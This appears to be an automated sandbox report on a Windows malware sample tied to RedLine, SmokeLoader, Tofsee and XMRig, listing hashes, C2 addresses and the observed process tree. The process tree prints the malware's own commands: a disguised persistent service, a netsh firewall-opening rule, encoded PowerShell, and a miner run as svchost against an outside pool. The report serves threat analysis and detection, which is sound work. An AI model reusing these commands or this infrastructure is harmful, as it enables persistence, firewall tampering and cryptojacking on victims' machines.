Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23-09-2022 06:11

General

  • Target

    73da121d98bdca9426ff5a71556d343d.exe

  • Size

    280KB

  • MD5

    73da121d98bdca9426ff5a71556d343d

  • SHA1

    a961be6cb8e7a12727e4ef2e67037fd9b530688d

  • SHA256

    da59178b5bdf3c372a7ee466713990a0021e2ac5880b8d19b2ddb035ca0e2c9c

  • SHA512

    aed31e0f79037a85e455bf679ca0cbda3262e949fab4b21b83ab58367ce63e16e7bef3365bc94a20efe2395077d30670181dda47da68ad4efceca89d0c578fa9

  • SSDEEP

    6144:8BKNEDlt+TLUPyCMk9lgIiYW8VexrYYvL0+1ELigavwVfJ:8BCG+syCMkbiYW8exrYYI2

Malware Config

Extracted

Family

redline

Botnet

LogsDiller Cloud (Sup: @mr_golds)

C2

77.73.134.27:8163

Attributes
  • auth_value

    56c6f7b9024c076f0a96931453da7e56

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Detects Smokeloader packer 1 IoCs
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 1 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 7 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 19 IoCs
  • Suspicious use of AdjustPrivilegeToken 31 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\73da121d98bdca9426ff5a71556d343d.exe
    "C:\Users\Admin\AppData\Local\Temp\73da121d98bdca9426ff5a71556d343d.exe"
    1⤵
    • Checks SCSI registry key(s)
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    PID:3092
  • C:\Users\Admin\AppData\Local\Temp\3103.exe
    C:\Users\Admin\AppData\Local\Temp\3103.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:2328
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:75308
  • C:\Users\Admin\AppData\Local\Temp\34AD.exe
    C:\Users\Admin\AppData\Local\Temp\34AD.exe
    1⤵
    • Executes dropped EXE
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:32692
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ekyqqycz\
      2⤵
        PID:75428
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\iufrcrzg.exe" C:\Windows\SysWOW64\ekyqqycz\
        2⤵
          PID:75512
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create ekyqqycz binPath= "C:\Windows\SysWOW64\ekyqqycz\iufrcrzg.exe /d\"C:\Users\Admin\AppData\Local\Temp\34AD.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:75600
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description ekyqqycz "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:75680
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start ekyqqycz
          2⤵
          • Launches sc.exe
          PID:75732
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2312
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 32692 -s 1036
          2⤵
          • Program crash
          PID:4192
      • C:\Users\Admin\AppData\Local\Temp\38C5.exe
        C:\Users\Admin\AppData\Local\Temp\38C5.exe
        1⤵
        • Executes dropped EXE
        PID:75340
      • C:\Users\Admin\AppData\Local\Temp\3F00.exe
        C:\Users\Admin\AppData\Local\Temp\3F00.exe
        1⤵
        • Executes dropped EXE
        • Checks computer location settings
        • Suspicious use of SetThreadContext
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:75584
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAANgA4AA==
          2⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:820
        • C:\Users\Admin\AppData\Local\Temp\3F00.exe
          C:\Users\Admin\AppData\Local\Temp\3F00.exe
          2⤵
          • Executes dropped EXE
          • Suspicious use of AdjustPrivilegeToken
          PID:1140
      • C:\Windows\SysWOW64\ekyqqycz\iufrcrzg.exe
        C:\Windows\SysWOW64\ekyqqycz\iufrcrzg.exe /d"C:\Users\Admin\AppData\Local\Temp\34AD.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:75332
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          PID:4144
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1780
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 75332 -s 548
          2⤵
          • Program crash
          PID:3156
      • C:\Users\Admin\AppData\Local\Temp\47AC.exe
        C:\Users\Admin\AppData\Local\Temp\47AC.exe
        1⤵
        • Executes dropped EXE
        PID:1356
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 32692 -ip 32692
        1⤵
          PID:2088
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 75332 -ip 75332
          1⤵
            PID:4168
          • C:\Windows\SysWOW64\explorer.exe
            C:\Windows\SysWOW64\explorer.exe
            1⤵
              PID:4472
            • C:\Windows\explorer.exe
              C:\Windows\explorer.exe
              1⤵
                PID:4768
              • C:\Windows\SysWOW64\explorer.exe
                C:\Windows\SysWOW64\explorer.exe
                1⤵
                  PID:2768
                • C:\Windows\explorer.exe
                  C:\Windows\explorer.exe
                  1⤵
                    PID:1600
                  • C:\Windows\SysWOW64\explorer.exe
                    C:\Windows\SysWOW64\explorer.exe
                    1⤵
                      PID:988
                    • C:\Windows\SysWOW64\explorer.exe
                      C:\Windows\SysWOW64\explorer.exe
                      1⤵
                        PID:1408
                      • C:\Windows\SysWOW64\explorer.exe
                        C:\Windows\SysWOW64\explorer.exe
                        1⤵
                          PID:740
                        • C:\Windows\explorer.exe
                          C:\Windows\explorer.exe
                          1⤵
                            PID:4084
                          • C:\Windows\SysWOW64\explorer.exe
                            C:\Windows\SysWOW64\explorer.exe
                            1⤵
                              PID:1816

                            Network

                            MITRE ATT&CK Matrix ATT&CK v6

                            Persistence

                            New Service

                            1
                            T1050

                            Modify Existing Service

                            1
                            T1031

                            Registry Run Keys / Startup Folder

                            1
                            T1060

                            Privilege Escalation

                            New Service

                            1
                            T1050

                            Defense Evasion

                            Modify Registry

                            1
                            T1112

                            Credential Access

                            Credentials in Files

                            1
                            T1081

                            Discovery

                            Query Registry

                            2
                            T1012

                            System Information Discovery

                            3
                            T1082

                            Peripheral Device Discovery

                            1
                            T1120

                            Collection

                            Data from Local System

                            1
                            T1005

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\3F00.exe.log
                              Filesize

                              1KB

                              MD5

                              7200fb09b34d23375c2cff85323af4a4

                              SHA1

                              0994a0ab70a6f6c8c45b4664bed926779fbd5c2e

                              SHA256

                              e065d81294bae8c8404e57ce5d9d4db68472cefac1469e49f2e73671a4315e15

                              SHA512

                              417451e2279b9f1861d317edd8a517a7bb6d1e505c23fb89a16662059d23fbd789223b061ea73217d2042a2221f998c093928a28fd6d8054f53fa174f5dd02de

                            • C:\Users\Admin\AppData\Local\Temp\3103.exe
                              Filesize

                              2.6MB

                              MD5

                              d5ecc2fd366dbd8d0cd3e9e8c8f5dbd8

                              SHA1

                              ed7413773b7c9154c9aeed9d173f61577522e0db

                              SHA256

                              576f224909dc7872b8c5bb4902d177f273c8d680c783454b1d43ad46bed7e983

                              SHA512

                              858db48785bef29d7d58bf2ff2b7e6c00537e63d2c571741d86ccd293d77abdaa19deab3a68352dae67e650e8da8a20ed7f38e1716af66e589c1c0d58de94bd5

                            • C:\Users\Admin\AppData\Local\Temp\3103.exe
                              Filesize

                              2.6MB

                              MD5

                              d5ecc2fd366dbd8d0cd3e9e8c8f5dbd8

                              SHA1

                              ed7413773b7c9154c9aeed9d173f61577522e0db

                              SHA256

                              576f224909dc7872b8c5bb4902d177f273c8d680c783454b1d43ad46bed7e983

                              SHA512

                              858db48785bef29d7d58bf2ff2b7e6c00537e63d2c571741d86ccd293d77abdaa19deab3a68352dae67e650e8da8a20ed7f38e1716af66e589c1c0d58de94bd5

                            • C:\Users\Admin\AppData\Local\Temp\34AD.exe
                              Filesize

                              170KB

                              MD5

                              34694b4a36c026423d17491387695996

                              SHA1

                              975bef893b9e684973e83692cd1930d3efa3d22b

                              SHA256

                              a4529d41595ca4f2b1f63152c8fe13a90e077de13a0fff580fab5d35977dd783

                              SHA512

                              4babe82e3da6e6efd337375bff08ba711c48b74162cf6d9f80678cfc6ecb1eb4e8e9e97da98417b8b0f9d72664781e86e7bf552242cfbf141feafda45301d72f

                            • C:\Users\Admin\AppData\Local\Temp\34AD.exe
                              Filesize

                              170KB

                              MD5

                              34694b4a36c026423d17491387695996

                              SHA1

                              975bef893b9e684973e83692cd1930d3efa3d22b

                              SHA256

                              a4529d41595ca4f2b1f63152c8fe13a90e077de13a0fff580fab5d35977dd783

                              SHA512

                              4babe82e3da6e6efd337375bff08ba711c48b74162cf6d9f80678cfc6ecb1eb4e8e9e97da98417b8b0f9d72664781e86e7bf552242cfbf141feafda45301d72f

                            • C:\Users\Admin\AppData\Local\Temp\38C5.exe
                              Filesize

                              395KB

                              MD5

                              a864c7dcd49506486eb4a15632a34c03

                              SHA1

                              6f247530bd632cb53cdc0b7a8c466e2144c16d84

                              SHA256

                              dc69e3a17aba90423107dc5915e8a32e76d92aca74323131b36cf9fb144ecdbf

                              SHA512

                              71ea6c60927c29d24a5cb992490e0b71b2c5355b01b4de739a44b4fed2b2315eb6b5081ee44c65b71b08f9c5e0d6591b9b6b7e136cb31a47581420bbe92b7a72

                            • C:\Users\Admin\AppData\Local\Temp\38C5.exe
                              Filesize

                              395KB

                              MD5

                              a864c7dcd49506486eb4a15632a34c03

                              SHA1

                              6f247530bd632cb53cdc0b7a8c466e2144c16d84

                              SHA256

                              dc69e3a17aba90423107dc5915e8a32e76d92aca74323131b36cf9fb144ecdbf

                              SHA512

                              71ea6c60927c29d24a5cb992490e0b71b2c5355b01b4de739a44b4fed2b2315eb6b5081ee44c65b71b08f9c5e0d6591b9b6b7e136cb31a47581420bbe92b7a72

                            • C:\Users\Admin\AppData\Local\Temp\3F00.exe
                              Filesize

                              1.1MB

                              MD5

                              ff97413fadad115998666fd129ccb86d

                              SHA1

                              152ca9dd31bf0c84f435154727186c8dca441f00

                              SHA256

                              6238542631b73f4d10cba3147b1e3326b01bc1f0ebf1cee83423eb2a4c9a6213

                              SHA512

                              2fdc2a83645d5764e81612903f6fd10581ba446bf52762f0cadc2b5e51b529dd522548c9545b4825b1924af4dc2556dfb1b3be0f6f94ffe7ef072511ef2f5c40

                            • C:\Users\Admin\AppData\Local\Temp\3F00.exe
                              Filesize

                              1.1MB

                              MD5

                              ff97413fadad115998666fd129ccb86d

                              SHA1

                              152ca9dd31bf0c84f435154727186c8dca441f00

                              SHA256

                              6238542631b73f4d10cba3147b1e3326b01bc1f0ebf1cee83423eb2a4c9a6213

                              SHA512

                              2fdc2a83645d5764e81612903f6fd10581ba446bf52762f0cadc2b5e51b529dd522548c9545b4825b1924af4dc2556dfb1b3be0f6f94ffe7ef072511ef2f5c40

                            • C:\Users\Admin\AppData\Local\Temp\3F00.exe
                              Filesize

                              1.1MB

                              MD5

                              ff97413fadad115998666fd129ccb86d

                              SHA1

                              152ca9dd31bf0c84f435154727186c8dca441f00

                              SHA256

                              6238542631b73f4d10cba3147b1e3326b01bc1f0ebf1cee83423eb2a4c9a6213

                              SHA512

                              2fdc2a83645d5764e81612903f6fd10581ba446bf52762f0cadc2b5e51b529dd522548c9545b4825b1924af4dc2556dfb1b3be0f6f94ffe7ef072511ef2f5c40

                            • C:\Users\Admin\AppData\Local\Temp\47AC.exe
                              Filesize

                              2.7MB

                              MD5

                              c0265881059ec2ecf23befda6fb64f9b

                              SHA1

                              8b7d0cd04f91bec9d379817c3adf0ddd81b7c544

                              SHA256

                              4b774adffc396f00368571a37a58c420ee4b9515c1440e32de91fb1a018acb4b

                              SHA512

                              0886c03d4c406eaffc0f60fa04a7e89c3d84feeb969148efc3738200cfec889d0b09cfe1248dfbe064a9472b03726d8ae24b647bf37047758bf06682b5effd57

                            • C:\Users\Admin\AppData\Local\Temp\47AC.exe
                              Filesize

                              2.7MB

                              MD5

                              c0265881059ec2ecf23befda6fb64f9b

                              SHA1

                              8b7d0cd04f91bec9d379817c3adf0ddd81b7c544

                              SHA256

                              4b774adffc396f00368571a37a58c420ee4b9515c1440e32de91fb1a018acb4b

                              SHA512

                              0886c03d4c406eaffc0f60fa04a7e89c3d84feeb969148efc3738200cfec889d0b09cfe1248dfbe064a9472b03726d8ae24b647bf37047758bf06682b5effd57

                            • C:\Users\Admin\AppData\Local\Temp\iufrcrzg.exe
                              Filesize

                              12.6MB

                              MD5

                              cb4b681f6236f2b520755ca484d286a7

                              SHA1

                              1330c4d27003e5859e42eb6f8f9c65158b94f271

                              SHA256

                              67272f6998c5a30f4746b724ad817664413a32af39debdcfb3b4a3ce3615319c

                              SHA512

                              772880c625cd210e06d8912768e88ff9151f2d746ee6b4d2acf32524af3752ad6658b741d1f5d3858ec7d9d30db1eac74cf0a9bb46819bad2dbf9a2ac8a8e6f7

                            • C:\Windows\SysWOW64\ekyqqycz\iufrcrzg.exe
                              Filesize

                              12.6MB

                              MD5

                              cb4b681f6236f2b520755ca484d286a7

                              SHA1

                              1330c4d27003e5859e42eb6f8f9c65158b94f271

                              SHA256

                              67272f6998c5a30f4746b724ad817664413a32af39debdcfb3b4a3ce3615319c

                              SHA512

                              772880c625cd210e06d8912768e88ff9151f2d746ee6b4d2acf32524af3752ad6658b741d1f5d3858ec7d9d30db1eac74cf0a9bb46819bad2dbf9a2ac8a8e6f7

                            • memory/740-213-0x0000000000000000-mapping.dmp
                            • memory/740-217-0x00000000009C0000-0x00000000009CB000-memory.dmp
                              Filesize

                              44KB

                            • memory/740-256-0x00000000009D0000-0x00000000009D6000-memory.dmp
                              Filesize

                              24KB

                            • memory/740-216-0x00000000009D0000-0x00000000009D6000-memory.dmp
                              Filesize

                              24KB

                            • memory/820-186-0x0000000000000000-mapping.dmp
                            • memory/820-190-0x0000000004F90000-0x0000000004FF6000-memory.dmp
                              Filesize

                              408KB

                            • memory/820-191-0x0000000005000000-0x0000000005066000-memory.dmp
                              Filesize

                              408KB

                            • memory/820-200-0x00000000063C0000-0x00000000063DA000-memory.dmp
                              Filesize

                              104KB

                            • memory/820-187-0x00000000048F0000-0x0000000004926000-memory.dmp
                              Filesize

                              216KB

                            • memory/820-199-0x0000000007530000-0x0000000007BAA000-memory.dmp
                              Filesize

                              6.5MB

                            • memory/820-189-0x00000000050A0000-0x00000000056C8000-memory.dmp
                              Filesize

                              6.2MB

                            • memory/820-195-0x0000000005EC0000-0x0000000005EDE000-memory.dmp
                              Filesize

                              120KB

                            • memory/988-206-0x0000000001670000-0x0000000001692000-memory.dmp
                              Filesize

                              136KB

                            • memory/988-204-0x0000000000000000-mapping.dmp
                            • memory/988-207-0x0000000001640000-0x0000000001667000-memory.dmp
                              Filesize

                              156KB

                            • memory/988-254-0x0000000001670000-0x0000000001692000-memory.dmp
                              Filesize

                              136KB

                            • memory/1140-260-0x0000000000400000-0x0000000000482000-memory.dmp
                              Filesize

                              520KB

                            • memory/1140-259-0x0000000000000000-mapping.dmp
                            • memory/1356-170-0x0000000000000000-mapping.dmp
                            • memory/1408-208-0x0000000000000000-mapping.dmp
                            • memory/1408-212-0x0000000000390000-0x0000000000399000-memory.dmp
                              Filesize

                              36KB

                            • memory/1408-255-0x00000000003A0000-0x00000000003A5000-memory.dmp
                              Filesize

                              20KB

                            • memory/1408-211-0x00000000003A0000-0x00000000003A5000-memory.dmp
                              Filesize

                              20KB

                            • memory/1600-201-0x00000000006D0000-0x00000000006D6000-memory.dmp
                              Filesize

                              24KB

                            • memory/1600-251-0x00000000006D0000-0x00000000006D6000-memory.dmp
                              Filesize

                              24KB

                            • memory/1600-198-0x0000000000000000-mapping.dmp
                            • memory/1600-202-0x00000000006C0000-0x00000000006CC000-memory.dmp
                              Filesize

                              48KB

                            • memory/1780-246-0x0000000000000000-mapping.dmp
                            • memory/1780-253-0x0000000000A40000-0x0000000000B31000-memory.dmp
                              Filesize

                              964KB

                            • memory/1780-247-0x0000000000A40000-0x0000000000B31000-memory.dmp
                              Filesize

                              964KB

                            • memory/1816-222-0x0000000000D60000-0x0000000000D68000-memory.dmp
                              Filesize

                              32KB

                            • memory/1816-223-0x0000000000D50000-0x0000000000D5B000-memory.dmp
                              Filesize

                              44KB

                            • memory/1816-258-0x0000000000D60000-0x0000000000D68000-memory.dmp
                              Filesize

                              32KB

                            • memory/1816-221-0x0000000000000000-mapping.dmp
                            • memory/2312-169-0x0000000000000000-mapping.dmp
                            • memory/2328-136-0x0000000000000000-mapping.dmp
                            • memory/2768-196-0x0000000000550000-0x0000000000555000-memory.dmp
                              Filesize

                              20KB

                            • memory/2768-227-0x0000000000550000-0x0000000000555000-memory.dmp
                              Filesize

                              20KB

                            • memory/2768-197-0x0000000000540000-0x0000000000549000-memory.dmp
                              Filesize

                              36KB

                            • memory/2768-194-0x0000000000000000-mapping.dmp
                            • memory/3092-132-0x000000000065E000-0x000000000066E000-memory.dmp
                              Filesize

                              64KB

                            • memory/3092-135-0x0000000000400000-0x000000000044B000-memory.dmp
                              Filesize

                              300KB

                            • memory/3092-134-0x0000000000400000-0x000000000044B000-memory.dmp
                              Filesize

                              300KB

                            • memory/3092-133-0x00000000005E0000-0x00000000005E9000-memory.dmp
                              Filesize

                              36KB

                            • memory/4084-219-0x0000000000560000-0x0000000000567000-memory.dmp
                              Filesize

                              28KB

                            • memory/4084-218-0x0000000000000000-mapping.dmp
                            • memory/4084-257-0x0000000000560000-0x0000000000567000-memory.dmp
                              Filesize

                              28KB

                            • memory/4084-220-0x0000000000550000-0x000000000055D000-memory.dmp
                              Filesize

                              52KB

                            • memory/4144-185-0x0000000000EB0000-0x0000000000EC5000-memory.dmp
                              Filesize

                              84KB

                            • memory/4144-237-0x0000000002FE0000-0x0000000002FE5000-memory.dmp
                              Filesize

                              20KB

                            • memory/4144-174-0x0000000000000000-mapping.dmp
                            • memory/4144-228-0x0000000002A00000-0x0000000002C0F000-memory.dmp
                              Filesize

                              2.1MB

                            • memory/4144-175-0x0000000000EB0000-0x0000000000EC5000-memory.dmp
                              Filesize

                              84KB

                            • memory/4144-225-0x0000000000EB0000-0x0000000000EC5000-memory.dmp
                              Filesize

                              84KB

                            • memory/4144-231-0x00000000021F0000-0x00000000021F6000-memory.dmp
                              Filesize

                              24KB

                            • memory/4144-234-0x0000000002D50000-0x0000000002D60000-memory.dmp
                              Filesize

                              64KB

                            • memory/4144-243-0x0000000002FF0000-0x0000000002FF7000-memory.dmp
                              Filesize

                              28KB

                            • memory/4144-240-0x0000000007A40000-0x0000000007E4B000-memory.dmp
                              Filesize

                              4.0MB

                            • memory/4472-224-0x0000000000800000-0x0000000000807000-memory.dmp
                              Filesize

                              28KB

                            • memory/4472-179-0x0000000000000000-mapping.dmp
                            • memory/4472-183-0x0000000000800000-0x0000000000807000-memory.dmp
                              Filesize

                              28KB

                            • memory/4472-184-0x00000000005F0000-0x00000000005FB000-memory.dmp
                              Filesize

                              44KB

                            • memory/4768-193-0x00000000001E0000-0x00000000001EF000-memory.dmp
                              Filesize

                              60KB

                            • memory/4768-188-0x0000000000000000-mapping.dmp
                            • memory/4768-226-0x00000000001F0000-0x00000000001F9000-memory.dmp
                              Filesize

                              36KB

                            • memory/4768-192-0x00000000001F0000-0x00000000001F9000-memory.dmp
                              Filesize

                              36KB

                            • memory/32692-154-0x0000000000400000-0x0000000000585000-memory.dmp
                              Filesize

                              1.5MB

                            • memory/32692-153-0x0000000000690000-0x00000000006A3000-memory.dmp
                              Filesize

                              76KB

                            • memory/32692-152-0x0000000000859000-0x000000000086A000-memory.dmp
                              Filesize

                              68KB

                            • memory/32692-182-0x0000000000400000-0x0000000000585000-memory.dmp
                              Filesize

                              1.5MB

                            • memory/32692-139-0x0000000000000000-mapping.dmp
                            • memory/75308-209-0x0000000006740000-0x0000000006902000-memory.dmp
                              Filesize

                              1.8MB

                            • memory/75308-156-0x0000000005430000-0x000000000553A000-memory.dmp
                              Filesize

                              1.0MB

                            • memory/75308-203-0x00000000062E0000-0x0000000006372000-memory.dmp
                              Filesize

                              584KB

                            • memory/75308-142-0x0000000000000000-mapping.dmp
                            • memory/75308-160-0x00000000053C0000-0x00000000053FC000-memory.dmp
                              Filesize

                              240KB

                            • memory/75308-143-0x0000000000400000-0x0000000000428000-memory.dmp
                              Filesize

                              160KB

                            • memory/75308-205-0x0000000006930000-0x0000000006ED4000-memory.dmp
                              Filesize

                              5.6MB

                            • memory/75308-210-0x0000000007410000-0x000000000793C000-memory.dmp
                              Filesize

                              5.2MB

                            • memory/75308-215-0x0000000006670000-0x00000000066C0000-memory.dmp
                              Filesize

                              320KB

                            • memory/75308-214-0x00000000065F0000-0x0000000006666000-memory.dmp
                              Filesize

                              472KB

                            • memory/75308-155-0x0000000005920000-0x0000000005F38000-memory.dmp
                              Filesize

                              6.1MB

                            • memory/75308-158-0x0000000005360000-0x0000000005372000-memory.dmp
                              Filesize

                              72KB

                            • memory/75332-180-0x0000000000703000-0x0000000000714000-memory.dmp
                              Filesize

                              68KB

                            • memory/75332-173-0x0000000000400000-0x0000000000585000-memory.dmp
                              Filesize

                              1.5MB

                            • memory/75332-181-0x0000000000400000-0x0000000000585000-memory.dmp
                              Filesize

                              1.5MB

                            • memory/75340-147-0x0000000000000000-mapping.dmp
                            • memory/75428-151-0x0000000000000000-mapping.dmp
                            • memory/75512-157-0x0000000000000000-mapping.dmp
                            • memory/75584-178-0x0000000004D20000-0x0000000004D42000-memory.dmp
                              Filesize

                              136KB

                            • memory/75584-161-0x0000000000000000-mapping.dmp
                            • memory/75584-165-0x0000000000270000-0x0000000000394000-memory.dmp
                              Filesize

                              1.1MB

                            • memory/75600-163-0x0000000000000000-mapping.dmp
                            • memory/75680-166-0x0000000000000000-mapping.dmp
                            • memory/75732-167-0x0000000000000000-mapping.dmp